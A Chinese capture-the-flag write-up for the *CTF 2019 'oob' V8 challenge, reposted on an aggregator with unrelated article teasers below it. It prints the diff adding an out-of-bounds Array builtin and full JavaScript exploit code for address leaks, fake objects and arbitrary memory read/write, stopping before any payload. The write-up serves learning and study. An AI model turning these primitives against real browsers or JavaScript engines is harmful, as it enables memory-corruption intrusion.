*ctf 2019 oob

diff文件如下

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                      \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     case Builtins::kArrayBufferIsView:


+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 

此处存在越界读写漏洞
越界读a.oob();
越界写a.oob(data);
在这里插入图片描述
查看js数组对象的内存结构
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

element元素存储了数组长度以及数值。在element下方存储了map元素。
在这里插入图片描述
map元素表明了该对象的属性为double数组。
在js语言中存在对象数组其中存储方式是将各个对象的对象指针放到element中因此如果对象数组的map如果被改成了其他的类型就可以泄露出对象的存储地址。

function leak_obj_addr(target){
  d_map = leak_map(a) - 1n;
  obj_map = leak_map(obj) - 1n;
  obj[0] = target;
  obj.oob(ltd(d_map + 1n));
  addr = dtl(obj[0]);
  obj.oob(ltd(obj_map + 1n));
  return addr;
}

可以泄露地址和修改对象类型以后我们可以伪造一个数组对象实现任意读和任意写

var fake_array = [
	ltd(leak_map(a)),//fake_array - 0x30
	ltd(0n),
	ltd(0x41414141n),//element
	ltd(0x1000000000n),
	1.11,
	2.21,
	];

在这里插入图片描述

成功伪造以后0x41414141n就是element的地址(leaker[0]指向element + 0x10)
所以我们可以通过修改fake_array[2]实现任意读和任意写。
但是浮点数在写高地址的时候会出错所以改用data_view来写入。

var data_buf = new ArrayBuffer(8);//data_buf + 0x20就是data_view_store的地址可以从这里实现任意写
var data_view = new DataView(data_buf);

在这里插入图片描述

成功任意写。

function read(leaker,addr){
 fake_array[2] = addr - 0x10n + 1n;
 return dtl(leaker[0]) - 1n;
 
}

任意读
我的虚拟机库版本和题目不一样所以没有hook可以触发,故复现到任意读写就算完成。

var a = [1.1, 2.0];
var obj = [a];
var b = [1, 2];
var raw_buf = new ArrayBuffer(8);
var d = new Float64Array(raw_buf);
var l = new BigUint64Array(raw_buf);
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);

function leak_map(target){
  d[0] = target.oob();
  return l[0];
}
function leak_obj_addr(target){
  d_map = leak_map(a) - 1n;
  obj_map = leak_map(obj) - 1n;
  obj[0] = target;
  obj.oob(ltd(d_map + 1n));
  addr = dtl(obj[0]);
  obj.oob(ltd(obj_map + 1n));
  return addr;
}
function fake_obj(target){
 a[0] = target;
 obj_map = leak_map(obj);
 d_map = leak_map(a);
 a.oob(ltd(obj_map));
 fo = a[0];
 a.oob(ltd(d_map));
 return fo;
}
function write(leaker,addr,data){
  leaker[0] = ltd(addr);
  console.log(addr);
  data_view.setBigUint64(0, data, true);
}
function debug(o){
        %DebugPrint(o);
        %SystemBreak();
}
function dtl(num)
{
        d[0] = num;
        return l[0];
}

function ltd(num)
{
        l[0] = num;
        return d[0];
}
function read(leaker,addr){
 fake_array[2] = addr - 0x10n + 1n;
 return dtl(leaker[0]) - 1n;
 
}
//console.log(leak.toString(16));
//debug(a)
var fake_array = [
	ltd(leak_map(a)),
	ltd(0n),
	ltd(0x41414141n),//element
	ltd(0x1000000000n),
	1.11,
	2.21,
	];
leak = leak_obj_addr(fake_array);
var leaker = fake_obj(ltd(leak - 0x30n));
data_view_store = leak_obj_addr(data_buf) + 0x20n - 1n;
fake_array[2] = ltd(data_view_store - 0x10n + 1n);
write(leaker,leak,0x4141414141414141n);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/410622.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【重温设计模式】原型模式及其Java示例

【重温设计模式】原型模式及其Java示例 原型模式的介绍 在编程的世界里&#xff0c;有一种神秘而强大的法宝&#xff0c;它就是设计模式。设计模式&#xff0c;就像是一种编程的哲学&#xff0c;是对软件工程中的一些经典问题的通用解决方案。它能够帮助我们更好地组织代码&am…

又现股东大额减持,东鹏饮料业绩预喜也难“救市”?

“醒着拼”的东鹏饮料(605499.SH)&#xff0c;市值“累了困了”&#xff1f; 1月27日&#xff0c;东鹏饮料公布了2023年的业绩预告显示&#xff1a;预计将达到110.57亿元-113.12亿元&#xff0c;同比增长30%-33%&#xff1b;净利润预计在19.89亿元-20.61亿元之间&#xff0c;同…

汇编语言与接口技术实践——秒表

1. 设计要求 基于 51 开发板,利用键盘作为按键输入,将数码管作为显示输出,实现电子秒表。 功能要求: (1)计时精度达到百分之一秒; (2)能按键记录下5次时间并通过按键回看 (3)设置时间,实现倒计时,时间到,数码管闪烁 10 次,并激发蜂鸣器,可通过按键解除。 2. 设计思…

数学建模【GM(1, 1)灰色预测】

一、GM(1, 1)灰色预测简介 乍一看&#xff0c;这个名字好奇怪&#xff0c;其实是有含义的 G&#xff1a;Grey&#xff08;灰色&#xff09;M&#xff1a;Model&#xff08;模型&#xff09;(1, 1)&#xff1a;只含有一个变量的一阶微分方程模型 提到灰色&#xff0c;就得先说…

基于InSAR、CNN的滑坡监测(一)

文献阅读记录&#xff0c;也是组会汇报材料收集&#xff0c;从中文文献开始学习。 开发一种快速、精确且自动化程度较高的滑坡定位或检测模型可以为地质灾害防治提供有效支撑,为研究滑坡分布规律及滑坡潜在风险等问题提供技术支持 ①《基于高分辨率遥感影像和改进 U-Net 模型的…

【Spring Cloud】高并发带来的问题及常见容错方案

文章目录 高并发带来的问题编写代码修改配置压力测试修改配置&#xff0c;并启动软件添加线程组配置线程并发数添加Http取样配置取样&#xff0c;并启动测试访问message方法观察效果 服务雪崩效应常见容错方案常见的容错思路常见的容错组件 总结 欢迎来到阿Q社区 https://bbs.c…

YOLOv5改进 | SPPF篇 | 利用YOLOv9最新的SPPELAN模块改进SPPF(全网独家创新,附手撕结构图)

一、本文介绍 本文给大家带来的改进机制是利用2024/02/21号最新发布的YOLOv9其中提出的SPPELAN模块来改进SPPF,其中YOLOv9针对于这个模块并没有介绍,只是在其项目文件中用到了,我将其整理出来用于我们的YOLOv5的项目,同时空间金字塔池化作为我们YOLOv5中的一个比较独特的存…

算法学习(十三)多路归并

多路归并 1. 概念 一、多路归并算法的由来 假定现在有一包含大量整数的文本文件存放于磁盘中&#xff0c;其文件大小为10GB&#xff0c;而本机内存只有4GB。此时若我们要对该文件中的所有整数进行升序排序&#xff0c;肯定不能直接将文件中的所有数据一次性读入内存中&#x…

《Docker 简易速速上手小册》第7章 高级容器管理(2024 最新版)

文章目录 7.1 容器监控与日志7.1.1 重点基础知识7.1.2 重点案例&#xff1a;监控 Flask 应用7.1.3 拓展案例 1&#xff1a;使用 ELK Stack 收集和分析日志7.1.4 拓展案例 2&#xff1a;使用集成监控工具 7.2 性能调优与资源限制7.2.1 重点基础知识7.2.2 重点案例&#xff1a;Fl…

边缘计算网关与边缘计算的融合之道-天拓四方

随着物联网、大数据和人工智能的飞速发展&#xff0c;数据处理和分析的需求呈现出爆炸式增长。传统的中心化数据处理模式已难以满足实时性、低延迟和高带宽的需求&#xff0c;边缘计算应运而生&#xff0c;成为解决这一难题的关键技术。而边缘计算网关&#xff0c;作为连接边缘…

护眼台灯哪个品牌质量比较好?五大优质护眼台灯推荐!

护眼台灯作为近年来最受欢迎的灯具之一&#xff0c;它不仅可以提供充足明亮的光照&#xff0c;光线环境&#xff0c;从而减少眼睛的负担和疲劳&#xff0c;还能够实现预防近视的效果&#xff0c;所以很多家长都会给孩子准备护眼台灯。但也有不少朋友觉得护眼台灯是名副其实的智…

爆火的Sora,动了谁的奶酪?

北京时间2月16日凌晨&#xff0c;当我们还沉浸在春节假期的喜庆和欢乐中时&#xff0c;Open AI 官宣推出首个文生视频模型 Sora。一年多前&#xff0c;Chat GPT 的横空出世&#xff0c;引起了全球广泛关注。如今 Sora 的出现&#xff0c;再次掀起千层浪。 只需要一段文本描述&a…

校招失败后,在小公司熬了 2 年终于进了字节跳动,竭尽全力....

其实两年前校招的时候就往字节投了一次简历&#xff0c;结果很明显凉了&#xff0c;随后这个理想就被暂时放下了&#xff0c;但是这个种子一直埋在心里这两年除了工作以外&#xff0c;也会坚持写博客&#xff0c;也因此结识了很多优秀的小伙伴&#xff0c;从他们身上学到了特别…

SMTP和IMAP是什么?SMTP的定义及工作模式?

SMTP是什么邮件的协议&#xff1f;如何开启网站邮箱SMTP服务&#xff1f; 随着互联网的普及和电子邮件的广泛使用&#xff0c;SMTP和IMAP这两个名词逐渐进入了我们的视野。它们是什么&#xff1f;它们在我们的日常生活中扮演着怎样的角色呢&#xff1f;下面&#xff0c;蜂邮ED…

C语言--贪吃蛇

目录 1. 实现目标2. 需掌握的技术3. Win32 API介绍控制台程序控制台屏幕上的坐标COORDGetStdHandleGetConsoleCursorinfoCONSOLE_CURSOR_INFOSetConsoleCursorInfoSetConsoleCursorPositionGetAsyncKeyState 4. 贪吃蛇游戏设计与分析地图<locale.h>本地化类项setlocale函…

uniapp微信小程序解决上方刘海屏遮挡

问题 在有刘海屏的手机上&#xff0c;我们的文字和按钮等可能会被遮挡 应该避免这种情况 解决 const SYSTEM_INFO uni.getSystemInfoSync();export const getStatusBarHeight ()> SYSTEM_INFO.statusBarHeight || 15;export const getTitleBarHeight ()>{if(uni.get…

信号完整性分析基本概念

“设计师可以分成两类&#xff0c;一类已经遇到了信号完整性问题&#xff0c;另一类即将遇到信号完不整性问题” 随着时钟频率的提高&#xff0c;发现并解决信号完整性问题成为产品开发的关键。因此需要精通信号完整性分析技术&#xff0c;并能采取高效设计过程以消除这些问题…

如何使用群晖NAS中FTP服务开启与使用固定地址远程上传下载本地文件?

文章目录 1. 群晖安装Cpolar2. 创建FTP公网地址3. 开启群晖FTP服务4. 群晖FTP远程连接5. 固定FTP公网地址6. 固定FTP地址连接 本文主要介绍如何在群晖NAS中开启FTP服务并结合cpolar内网穿透工具&#xff0c;实现使用固定公网地址远程访问群晖FTP服务实现文件上传下载。 Cpolar内…

实践案例分析:让数据说话,高效盘点研发效能,助力企业2024发展 | 活动回顾

前不久&#xff0c;思码逸 DevData Talks 落地深圳南山区&#xff0c;举办了一场以「中小到千人规模团队研发效能提升实践 」为主题的闭门沙龙&#xff0c;共探研发增效之道。活动邀请到了几位来自不同研发规模的团队的研发效能负责人齐聚一堂&#xff0c;分别是平安银行组织级…

SD-WAN:三步轻松实现异地访问总部内网

随着经济的蓬勃发展和企业业务范围的不断扩张&#xff0c;许多企业逐渐形成了以总部为核心的多点生产结构&#xff0c;并通过网络实现了总部与分支机构之间的信息互通。要实现对企业总部内网的异地访问并非易事&#xff0c;但如果应用了SD-WAN这些问题将被轻松解决。 某企业在总…
最新文章